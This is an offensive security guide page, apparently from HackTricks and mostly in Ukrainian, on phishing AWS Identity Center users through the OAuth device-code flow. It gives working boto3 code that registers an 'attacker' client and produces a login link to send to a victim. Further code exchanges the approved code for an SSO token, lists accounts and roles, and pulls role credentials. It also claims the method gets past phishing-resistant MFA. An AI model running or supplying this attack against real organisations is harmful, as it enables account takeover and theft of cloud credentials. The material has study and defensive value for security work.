AWS - Identity Center & SSO Unauthenticated Enum

Підтримайте HackTricks

AWS Device Code Phishing

Спочатку запропоновано в цьому блозі, можливо надіслати посилання користувачу, який використовує AWS SSO, що якщо користувач прийме, зловмисник зможе отримати токен для видавання себе за користувача та отримати доступ до всіх ролей, до яких користувач має доступ у Identity Center.

Для виконання цієї атаки необхідні:

  • Жертва повинна використовувати Identity Center

  • Зловмисник повинен знати субдомен, який використовує жертва <victimsub>.awsapps.com/start

Маючи лише цю інформацію, зловмисник зможе надіслати посилання користувачу, яке, якщо прийнято, надасть зловмиснику доступ до облікового запису AWS користувача.

Атака

  1. Знаходження субдомену

Перший крок зловмисника - дізнатися субдомен, який використовує компанія-жертва у своєму Identity Center. Це можна зробити за допомогою OSINT або вгадування + BF, оскільки більшість компаній використовуватимуть своє ім'я або його варіацію.

Маючи цю інформацію, можна дізнатися регіон, де був налаштований Identity Center:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Згенеруйте посилання для жертви та надішліть його

Запустіть наступний код, щоб згенерувати AWS SSO посилання для входу, щоб жертва могла аутентифікуватися. Для демонстрації запустіть цей код у консолі python і не виходьте з неї, оскільки пізніше вам знадобляться деякі об'єкти для отримання токена:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Send the generated link to the victim using you awesome social engineering skills!

  1. Чекайте, поки жертва прийме запит

Якщо жертва вже увійшла в AWS, їй потрібно буде лише прийняти надання дозволів, якщо ні, їй потрібно буде увійти в систему і потім прийняти надання дозволів. Ось як виглядає запит зараз:

  1. Отримайте SSO access token

Якщо жертва прийняла запит, запустіть цей код, щоб згенерувати SSO token, видаючи себе за користувача:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Токен доступу SSO дійсний протягом 8 годин.

  1. Видавати себе за користувача

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Фішинг незламного MFA

Цікаво знати, що попередня атака працює навіть якщо використовується "незламний MFA" (webAuth). Це тому, що попередній робочий процес ніколи не залишає використаний домен OAuth. Не так, як в інших фішингових атаках, де користувачеві потрібно підмінити домен входу, у випадку з робочим процесом коду пристрою, код відомий пристрою, і користувач може увійти навіть на іншій машині. Якщо запит прийнято, пристрій, просто знаючи початковий код, зможе отримати облікові дані для користувача.

Для отримання додаткової інформації перевірте цей пост.

Автоматичні інструменти

Посилання

Підтримайте HackTricks

Last updated